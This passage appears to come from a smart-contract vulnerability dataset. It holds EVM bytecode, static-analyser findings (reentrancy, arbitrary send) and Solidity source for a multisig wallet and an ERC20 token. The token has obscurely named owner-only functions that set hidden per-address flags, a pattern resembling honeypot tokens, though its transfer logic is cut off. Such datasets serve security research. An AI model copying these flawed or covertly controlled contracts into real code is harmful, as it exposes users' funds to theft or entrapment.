00080600061183a8a600c54600d54611989565b925092509250600061184a611627565b9050600080600061185d8e8787876119de565b919e509c509a509598509396509194505050505091939550919395565b600061146983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611378565b6000806118c98385611e3b565b9050838110156114695760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062b565b6000611925611627565b905060006119338383611a2e565b3060009081526002602052604090205490915061195090826118bc565b30600090815260026020526040902055505050565b600654611972908361187a565b60065560075461198290826118bc565b6007555050565b60008080806119a3606461199d8989611a2e565b9061164a565b905060006119b6606461199d8a89611a2e565b905060006119ce826119c88b8661187a565b9061187a565b9992985090965090945050505050565b60008080806119ed8886611a2e565b905060006119fb8887611a2e565b90506000611a098888611a2e565b90506000611a1b826119c8868661187a565b939b939a50919850919650505050505050565b600082611a3d575060006106b1565b6000611a498385611f1a565b905082611a568583611ef8565b146114695760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062b565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fb57600080fd5b8035611ae381611ac3565b919050565b60006020808385031215611afb57600080fd5b823567ffffffffffffffff80821115611b1357600080fd5b818501915085601f830112611b2757600080fd5b813581811115611b3957611b39611aad565b8060051b604051601f19603f83011681018181108582111715611b5e57611b5e611aad565b604052918252848201925083810185019188831115611b7c57600080fd5b938501935b82851015611ba157611b9285611ad8565b84529385019392850192611b81565b98975050505050505050565b600060208083528351808285015260005b81811015611bda57858101830151858201604001528201611bbe565b81811115611bec576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c1557600080fd5b8235611c2081611ac3565b946020939093013593505050565b600080600060608486031215611c4357600080fd5b8335611c4e81611ac3565b92506020840135611c5e81611ac3565b929592945050506040919091013590565b600060208284031215611c8157600080fd5b813561146981611ac3565b80358015158114611ae357600080fd5b600060208284031215611cae57600080fd5b61146982611c8c565b600060208284031215611cc957600080fd5b5035919050565b60008060008060808587031215611ce657600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d1757600080fd5b833567ffffffffffffffff80821115611d2f57600080fd5b818601915086601f830112611d4357600080fd5b813581811115611d5257600080fd5b8760208260051b8501011115611d6757600080fd5b602092830195509350611d7d9186019050611c8c565b90509250925092565b60008060408385031215611d9957600080fd5b8235611da481611ac3565b91506020830135611db481611ac3565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e3457611e34611e0a565b5060010190565b60008219821115611e4e57611e4e611e0a565b500190565b600082821015611e6557611e65611e0a565b500390565b600060208284031215611e7c57600080fd5b815161146981611ac3565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ed75784516001600160a01b031683529383019391830191600101611eb2565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f1557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f3457611f34611e0a565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122077ff003f7cdc28c42eec1b9c11359d98baa6703ef1df2ce19db21b34b3142df764736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
552
0x684564950fDaFeDad73A79C9074AeD1b85428FEb
pragma solidity ^0.4.24; pragma experimental "v0.5.0"; pragma experimental ABIEncoderV2; library Math { struct Fraction { uint256 numerator; uint256 denominator; } function isPositive(Fraction memory fraction) internal pure returns (bool) { return fraction.numerator > 0 && fraction.denominator > 0; } function mul(uint256 a, uint256 b) internal pure returns (uint256 r) { r = a * b; require((a == 0) || (r / a == b)); } function div(uint256 a, uint256 b) internal pure returns (uint256 r) { r = a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256 r) { require((r = a - b) <= a); } function add(uint256 a, uint256 b) internal pure returns (uint256 r) { require((r = a + b) >= a); } function min(uint256 x, uint256 y) internal pure returns (uint256 r) { return x <= y ? x : y; } function max(uint256 x, uint256 y) internal pure returns (uint256 r) { return x >= y ? x : y; } function mulDiv(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) { r = value * m; if (r / value == m) { r /= d; } else { r = mul(value / d, m); } } function mulDivCeil(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) { r = value * m; if (r / value == m) { if (r % d == 0) { r /= d; } else { r = (r / d) + 1; } } else { r = mul(value / d, m); if (value % d != 0) { r += 1; } } } function mul(uint256 x, Fraction memory f) internal pure returns (uint256) { return mulDiv(x, f.numerator, f.denominator); } function mulCeil(uint256 x, Fraction memory f) internal pure returns (uint256) { return mulDivCeil(x, f.numerator, f.denominator); } function div(uint256 x, Fraction memory f) internal pure returns (uint256) { return mulDiv(x, f.denominator, f.numerator); } function divCeil(uint256 x, Fraction memory f) internal pure returns (uint256) { return mulDivCeil(x, f.denominator, f.numerator); } function mul(Fraction memory x, Fraction memory y) internal pure returns (Math.Fraction) { return Math.Fraction({ numerator: mul(x.numerator, y.numerator), denominator: mul(x.denominator, y.denominator) }); } } contract FsTKColdWallet { using Math for uint256; event ConfirmationNeeded(address indexed initiator, bytes32 indexed operation, address indexed to, uint256 value, bytes data); event Confirmation(address indexed authority, bytes32 indexed operation); event Revoke(address indexed authority, bytes32 indexed operation); event AuthorityChanged(address indexed oldAuthority, address indexed newAuthority); event AuthorityAdded(address authority); event AuthorityRemoved(address authority); event RequirementChanged(uint256 required); event DayLimitChanged(uint256 dayLimit); event SpentTodayReset(uint256 spentToday); event Deposit(address indexed from, uint256 value); event SingleTransaction(address indexed authority, address indexed to, uint256 value, bytes data, address created); event MultiTransaction(address indexed authority, bytes32 indexed operation, address indexed to, uint256 value, bytes data, address created); struct TransactionInfo { address to; uint256 value; bytes data; } struct PendingTransactionState { TransactionInfo info; uint256 confirmNeeded; uint256 confirmBitmap; uint256 index; } modifier onlyAuthority { require(isAuthority(msg.sender)); _; } modifier confirmAndRun(bytes32 operation) { if (confirmAndCheck(operation)) { _; } } uint256 constant MAX_AUTHORITIES = 250; uint256 public requiredAuthorities; uint256 public numAuthorities; uint256 public dailyLimit; uint256 public spentToday; uint256 public lastDay; address[256] public authorities; mapping(address => uint256) public authorityIndex; mapping(bytes32 => PendingTransactionState) public pendingTransaction; bytes32[] public pendingOperation; constructor(address[] _authorities, uint256 required, uint256 _daylimit) public { require( required > 0 && authorities.length >= required ); numAuthorities = _authorities.length; for (uint256 i = 0; i < _authorities.length; i += 1) { authorities[1 + i] = _authorities[i]; authorityIndex[_authorities[i]] = 1 + i; } requiredAuthorities = required; dailyLimit = _daylimit; lastDay = today(); } function() external payable { if (msg.value > 0) { emit Deposit(msg.sender, msg.value); } } function getAuthority(uint256 index) public view returns (address) { return authorities[index + 1]; } function getAuthorityIndex(address authority) public view returns (uint256 index) { index = authorityIndex[authority]; require(index > 0); } function isAuthority(address authority) public view returns (bool) { return authorityIndex[authority] > 0; } function hasConfirmed(bytes32 operation, address _address) public view returns (bool) { return (pendingTransaction[operation].confirmBitmap & (1 << getAuthorityIndex(_address))) != 0; } function changeAuthority(address from, address to) public confirmAndRun(keccak256(msg.data)) { require(!isAuthority(to)); uint256 index = getAuthorityIndex(from); authorities[index] = to; authorityIndex[to] = index; delete authorityIndex[from]; clearPending(); emit AuthorityChanged(from, to); } function addAuthority(address authority) public confirmAndRun(keccak256(msg.data)) { require(!isAuthority(authority)); if (numAuthorities >= MAX_AUTHORITIES) { reOrganizeAuthorities(); } require(numAuthorities < MAX_AUTHORITIES); numAuthorities += 1; authorities[numAuthorities] = authority; authorityIndex[authority] = numAuthorities; clearPending(); emit AuthorityAdded(authority); } function removeAuthority(address authority) public confirmAndRun(keccak256(msg.data)) { require(numAuthorities > requiredAuthorities); uint256 index = getAuthorityIndex(authority); delete authorities[index]; delete authorityIndex[authority]; clearPending(); reOrganizeAuthorities(); emit AuthorityRemoved(authority); } function setRequirement(uint256 required) public confirmAndRun(keccak256(msg.data)) { require(numAuthorities >= requiredAuthorities); clearPending(); emit RequirementChanged(requiredAuthorities = required); } function setDailyLimit(uint256 _dailyLimit) public confirmAndRun(keccak256(msg.data)) { clearPending(); emit DayLimitChanged(dailyLimit = _dailyLimit); } function resetSpentToday() public confirmAndRun(keccak256(msg.data)) { clearPending(); emit SpentTodayReset(spentToday); delete spentToday; } function propose( address to, uint256 value, bytes data ) public onlyAuthority returns (bytes32 operation) { if ((data.length == 0 && checkAndUpdateLimit(value)) || requiredAuthorities == 1) { emit SingleTransaction(msg.sender, to, value, data, execute0(to, value, data)); } else { operation = keccak256(abi.encodePacked(msg.data, pendingOperation.length)); PendingTransactionState storage status = pendingTransaction[operation]; if (status.info.to == 0 && status.info.value == 0 && status.info.data.length == 0) { status.info = TransactionInfo({ to: to, value: value, data: data }); } if (!confirm(operation)) { emit ConfirmationNeeded(msg.sender, operation, to, value, data); } } } function revoke(bytes32 operation) public { uint256 confirmFlag = 1 << getAuthorityIndex(msg.sender); PendingTransactionState storage state = pendingTransaction[operation]; if (state.confirmBitmap & confirmFlag > 0) { state.confirmNeeded += 1; state.confirmBitmap &= ~confirmFlag; emit Revoke(msg.sender, operation); } } function confirm(bytes32 operation) public confirmAndRun(operation) returns (bool) { PendingTransactionState storage status = pendingTransaction[operation]; if (status.info.to != 0 || status.info.value != 0 || status.info.data.length != 0) { emit MultiTransaction( msg.sender, operation, status.info.to, status.info.value, status.info.data, execute0(status.info.to, status.info.value, status.info.data) ); delete pendingTransaction[operation].info; return true; } } function execute0( address to, uint256 value, bytes data ) private returns (address created) { if (to == 0) { created = create0(value, data); } else { require(to.call.value(value)(data)); } } function create0(uint256 value, bytes code) internal returns (address _address) { assembly { _address := create(value, add(code, 0x20), mload(code)) if iszero(extcodesize(_address)) { revert(0, 0) } } } function confirmAndCheck(bytes32 operation) private returns (bool) { PendingTransactionState storage pending = pendingTransaction[operation]; if (pending.confirmNeeded == 0) { pending.confirmNeeded = requiredAuthorities; delete pending.confirmBitmap; pending.index = pendingOperation.length; pendingOperation.push(operation); } uint256 confirmFlag = 1 << getAuthorityIndex(msg.sender); if (pending.confirmBitmap & confirmFlag == 0) { emit Confirmation(msg.sender, operation); if (pending.confirmNeeded <= 1) { delete pendingOperation[pending.index]; delete pending.confirmNeeded; delete pending.confirmBitmap; delete pending.index; return true; } else { pending.confirmNeeded -= 1; pending.confirmBitmap |= confirmFlag; } } } function checkAndUpdateLimit(uint256 value) private returns (bool) { if (today() > lastDay) { spentToday = 0; lastDay = today(); } uint256 _spentToday = spentToday.add(value); if (_spentToday <= dailyLimit) { spentToday = _spentToday; return true; } return false; } function today() private view returns (uint256) { return block.timestamp / 1 days; } function reOrganizeAuthorities() private { uint256 free = 1; while (free < numAuthorities) { while (free < numAuthorities && authorities[free] != 0) { free += 1; } while (numAuthorities > 1 && authorities[numAuthorities] == 0) { numAuthorities -= 1; } if (free < numAuthorities && authorities[numAuthorities] != 0 && authorities[free] == 0) { authorities[free] = authorities[numAuthorities]; authorityIndex[authorities[free]] = free; delete authorities[numAuthorities]; } } } function clearPending() private { for (uint256 i = 0; i < pendingOperation.length; i += 1) { delete pendingTransaction[pendingOperation[i]]; } delete pendingOperation; } }
0x6080604052600436106101265763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041662033a1481146101805780632330f247146101b957806326defa73146101e65780633295feb314610206578063494503d41461022857806359ed55e1146102555780635c52c2f51461027557806367eeba0c1461028a5780636b0c932d1461029f578063797af627146102b45780638f56015f146102d457806393ba3f15146102f457806397db9a95146103145780639ef0ce1214610334578063b20d30a914610354578063b39c294414610374578063b75c7dc614610389578063c2cf7326146103a9578063d544e010146103c9578063f059cf2b146103e9578063f257bf3b146103fe578063ffae2c5b1461041e575b600034111561017e573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040516101759190611958565b60405180910390a25b005b34801561018c57600080fd5b506101a061019b3660046117c4565b61043e565b6040516101b09493929190611966565b60405180910390f35b3480156101c557600080fd5b506101d96101d43660046116ff565b610546565b6040516101b0919061194a565b3480156101f257600080fd5b5061017e6102013660046116ff565b610574565b34801561021257600080fd5b5061021b610688565b6040516101b09190611958565b34801561023457600080fd5b506102486102433660046117c4565b61068e565b6040516101b0919061193c565b34801561026157600080fd5b5061021b6102703660046117c4565b6106b9565b34801561028157600080fd5b5061017e6106d9565b34801561029657600080fd5b5061021b61074f565b3480156102ab57600080fd5b5061021b610755565b3480156102c057600080fd5b506101d96102cf3660046117c4565b61075b565b3480156102e057600080fd5b5061017e6102ef3660046117c4565b610959565b34801561030057600080fd5b5061021b61030f36600461175f565b6109d2565b34801561032057600080fd5b5061017e61032f366004611725565b610ca1565b34801561034057600080fd5b5061021b61034f3660046116ff565b610dc3565b34801561036057600080fd5b5061017e61036f3660046117c4565b610dd6565b34801561038057600080fd5b5061021b610e3e565b34801561039557600080fd5b5061017e6103a43660046117c4565b610e44565b3480156103b557600080fd5b506101d96103c43660046117e2565b610ec0565b3480156103d557600080fd5b5061017e6103e43660046116ff565b610ef0565b3480156103f557600080fd5b5061021b610fe0565b34801561040a57600080fd5b5061021b6104193660046116ff565b610fe6565b34801561042a57600080fd5b506102486104393660046117c4565b611019565b610106602090815260009182526040918290208251606081018452815473ffffffffffffffffffffffffffffffffffffffff1681526001808301548285015260028084018054875161010094821615949094027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff011691909104601f8101869004860283018601875280835293959294869493860193908301828280156105265780601f106104fb57610100808354040283529160200191610526565b820191906000526020600020905b81548152906001019060200180831161050957829003601f168201915b505050505081525050908060030154908060040154908060050154905084565b73ffffffffffffffffffffffffffffffffffffffff811660009081526101056020526040812054115b919050565b60003660405180838380828437820191505092505050604051809103902061059b8161104a565b15610684576105a982610546565b156105b357600080fd5b60015460fa116105c5576105c561117f565b60015460fa116105d457600080fd5b60018054810190819055829060059061010081106105ee57fe5b0180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff9283161790556001549083166000908152610105602052604090205561064c61139a565b7f550a8ae64ec9d6640b6f168a26d3e6364b90defe8110c92135aa775b279e54ea8260405161067b919061193c565b60405180910390a15b5050565b60015481565b600581610100811061069c57fe5b015473ffffffffffffffffffffffffffffffffffffffff16905081565b6101078054829081106106c857fe5b600091825260209091200154905081565b6000366040518083838082843782019150509250505060405180910390206107008161104a565b1561074c5761070d61139a565b7f8c5b9565815ec5a5e089fa8c584c603d2cf75501c8054b228fd16d2b37e5da9d60035460405161073e9190611958565b60405180910390a160006003555b50565b60025481565b60045481565b600080826107688161104a565b1561095257600084815261010660205260409020805490925073ffffffffffffffffffffffffffffffffffffffff161515806107a75750600182015415155b806107e357506002808301547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61010060018316150201160415155b1561095257815460018084015460028086018054604080516020601f97841615610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190931694909404958601829004820284018201905284835273ffffffffffffffffffffffffffffffffffffffff90951694899433947f84e1a43ea00f8f27f55c9ff6104a82757b92ce3e8355f9d766291e9b3b257a98949093926108ea9289928692909186918301828280156108e05780601f106108b5576101008083540402835291602001916108e0565b820191906000526020600020905b8154815290600101906020018083116108c357829003601f168201915b5050505050611446565b6040516108f9939291906119ef565b60405180910390a460008481526101066020526040812080547fffffffffffffffffffffffff0000000000000000000000000000000000000000168155600181018290559061094b600283018261159d565b5050600192505b5050919050565b6000366040518083838082843782019150509250505060405180910390206109808161104a565b1561068457600054600154101561099657600080fd5b61099e61139a565b7facbdb084c721332ac59f9b8e392196c9eb0e4932862da8eb9beaf0dad4f550da82600081905560405161067b9190611958565b6000806109de33610546565b15156109e957600080fd5b82511580156109fc57506109fc8461150d565b80610a0957506000546001145b15610a705773ffffffffffffffffffffffffffffffffffffffff8516337fe29ff7f5df4c2cda15eeda171b5f5be7165ab9338482450aaff790fdeeffaae08686610a548a8383611446565b604051610a63939291906119c0565b60405180910390a3610c99565b61010754604051600091369160200180848480828437820191505082815260200193505050506040516020818303038152906040526040518082805190602001908083835b60208310610af257805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101610ab5565b51815160209384036101000a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff018019909216911617905260408051929094018290039091206000818152610106909252929020805492965094505073ffffffffffffffffffffffffffffffffffffffff16159150508015610b7657506001810154155b8015610bb257506002808201547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610100600183161502011604155b15610c33576040805160608101825273ffffffffffffffffffffffffffffffffffffffff8716808252602080830188905292820186905283547fffffffffffffffffffffffff00000000000000000000000000000000000000001617835560018301869055845190918391610c2f916002840191908801906115e1565b5050505b610c3c8261075b565b1515610c995760405173ffffffffffffffffffffffffffffffffffffffff861690839033907ff2c2e5d8bc7a0cb09c4b887a02749bd70772b58131354b79ad678e740be48d6690610c9090899089906119a0565b60405180910390a45b509392505050565b60008036604051808383808284378201915050925050506040518091039020610cc98161104a565b15610dbd57610cd783610546565b15610ce157600080fd5b610cea84610fe6565b9150826005836101008110610cfb57fe5b0180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92831617905583811660009081526101056020526040808220859055918616815290812055610d6261139a565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f275720694d99bebae3e30a093350471a8a15db9c771974d841c724b07a55f39260405160405180910390a35b50505050565b6101056020526000908152604090205481565b600036604051808383808284378201915050925050506040518091039020610dfd8161104a565b1561068457610e0a61139a565b7f31adeea0047ecd038070d2a2c068a63369e5da2093913417dad947c722e66c9f82600281905560405161067b9190611958565b60005481565b600080610e5033610fe6565b600084815261010660205260408120600481015460029390930a945092509083161115610ebb5760038101805460010190556004810180548319169055604051839033907fc7fb647e59b18047309aa15aad418e5d7ca96d173ad704f1031a2c3d7591734b90600090a35b505050565b6000610ecb82610fe6565b6000848152610106602052604090206004015460029190910a16151590505b92915050565b60008036604051808383808284378201915050925050506040518091039020610f188161104a565b15610ebb5760005460015411610f2d57600080fd5b610f3683610fe6565b91506005826101008110610f4657fe5b0180547fffffffffffffffffffffffff000000000000000000000000000000000000000016905573ffffffffffffffffffffffffffffffffffffffff831660009081526101056020526040812055610f9c61139a565b610fa461117f565b7f272215cde179041f7a3e8da6f8aabc7c8fc1336ccd73aba698cb825a80d3be4883604051610fd3919061193c565b60405180910390a1505050565b60035481565b73ffffffffffffffffffffffffffffffffffffffff81166000908152610105602052604081205490811161056f57600080fd5b6000600560018301610100811061102c57fe5b015473ffffffffffffffffffffffffffffffffffffffff1692915050565b6000818152610106602052604081206003810154829015156110b0576000805460038401556004830181905561010780546005850181905560018101825591527f47c4908e245f386bfc1825973249847f4053a761ddb4880ad63c323a7b5a2a25018490555b6110b933610fe6565b600483015460029190910a91508116151561095257604051849033907fe1c52dc63b719ade82e8bea94cc41a0d5d28e4aaf536adb5e9cccc9ff8c1aeda90600090a3600382015460011061114457610107826005015481548110151561111b57fe5b600091825260208220018190556003830181905560048301819055600583015560019250610952565b6003820180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff019055600482018054821790555050919050565b60015b60015481101561074c575b600154811080156111c2575060058161010081106111a757fe5b015473ffffffffffffffffffffffffffffffffffffffff1615155b156111cf5760010161118d565b60018054118015611206575060015460059061010081106111ec57fe5b015473ffffffffffffffffffffffffffffffffffffffff16155b1561123857600180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190556111cf565b600154811080156112705750600154600590610100811061125557fe5b015473ffffffffffffffffffffffffffffffffffffffff1615155b801561129f5750600581610100811061128557fe5b015473ffffffffffffffffffffffffffffffffffffffff16155b156113955760015460059061010081106112b557fe5b015473ffffffffffffffffffffffffffffffffffffffff1660058261010081106112db57fe5b0180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055806101056000600583610100811061133357fe5b015473ffffffffffffffffffffffffffffffffffffffff168152602081019190915260400160002055600154600590610100811061136d57fe5b0180547fffffffffffffffffffffffff00000000000000000000000000000000000000001690555b611182565b60005b61010754811015611439576101066000610107838154811015156113bd57fe5b60009182526020808320909101548352820192909252604001812080547fffffffffffffffffffffffff000000000000000000000000000000000000000016815560018101829055908181611415600283018261159d565b5050600060038301819055600483018190556005909201919091555060010161139d565b61074c610107600061165f565b600073ffffffffffffffffffffffffffffffffffffffff841615156114765761146f838361156a565b9050611506565b8373ffffffffffffffffffffffffffffffffffffffff16838360405180828051906020019080838360005b838110156114b95781810151838201526020016114a1565b50505050905090810190601f1680156114e65780820380516001836020036101000a031916815260200191505b5091505060006040518083038185875af192505050151561150657600080fd5b9392505050565b60008060045461151b611583565b111561153257600060035561152e611583565b6004555b600354611545908463ffffffff61158d16565b600254909150811161155f57600381905560019150611564565b600091505b50919050565b600081516020830184f09050803b1515610eea57600080fd5b6201518042045b90565b80820182811015610eea57600080fd5b50805460018160011615610100020316600290046000825580601f106115c3575061074c565b601f01602090049060005260206000209081019061074c9190611679565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061162257805160ff191683800117855561164f565b8280016001018555821561164f579182015b8281111561164f578251825591602001919060010190611634565b5061165b929150611679565b5090565b508054600082559060005260206000209081019061074c91905b61158a91905b8082111561165b576000815560010161167f565b60006115068235611a8c565b6000611506823561158a565b6000601f820183136116bc57600080fd5b81356116cf6116ca82611a36565b611a0f565b915080825260208301602083018583830111156116eb57600080fd5b6116f6838284611aaa565b50505092915050565b60006020828403121561171157600080fd5b600061171d8484611693565b949350505050565b6000806040838503121561173857600080fd5b60006117448585611693565b925050602061175585828601611693565b9150509250929050565b60008060006060848603121561177457600080fd5b60006117808686611693565b93505060206117918682870161169f565b925050604084013567ffffffffffffffff8111156117ae57600080fd5b6117ba868287016116ab565b9150509250925092565b6000602082840312156117d657600080fd5b600061171d848461169f565b600080604083850312156117f557600080fd5b6000611744858561169f565b61180a81611a8c565b82525050565b61180a81611aa5565b61180a8161158a565b600061182d82611a88565b808452611841816020860160208601611ab6565b61184a81611ae2565b9093016020019392505050565b60008154600181166000811461187457600181146118b0576118ec565b60028204607f1685527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00821660208601526040850192506118ec565b600282048086526020860195506118c685611a7c565b60005b828110156118e5578154888201526001909101906020016118c9565b8701945050505b505092915050565b805160009060608401906119088582611801565b50602083015161191b6020860182611819565b50604083015184820360408601526119338282611822565b95945050505050565b60208101610eea8284611801565b60208101610eea8284611810565b60208101610eea8284611819565b6080808252810161197781876118f4565b90506119866020830186611819565b6119936040830185611819565b6119336060830184611819565b604081016119ae8285611819565b818103602083015261171d8184611822565b606081016119ce8286611819565b81810360208301526119e08185611822565b905061171d6040830184611801565b606081016119fd8286611819565b81810360208301526119e08185611857565b60405181810167ffffffffffffffff81118282101715611a2e57600080fd5b604052919050565b600067ffffffffffffffff821115611a4d57600080fd5b506020601f919091017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0160190565b60009081526020902090565b5190565b73ffffffffffffffffffffffffffffffffffffffff1690565b151590565b82818337506000910152565b60005b83811015611ad1578181015183820152602001611ab9565b83811115610dbd5750506000910152565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016905600a265627a7a72305820039665e053fb80c3944df976dfc5becbf988ebba8e1c2734776f8f3032944a036c6578706572696d656e74616cf50037
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "public-mappings-nested", "impact": "High", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
553
0xd052cd533f5eedc4b7f77f19cc1ea3af67dd5e7a
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * 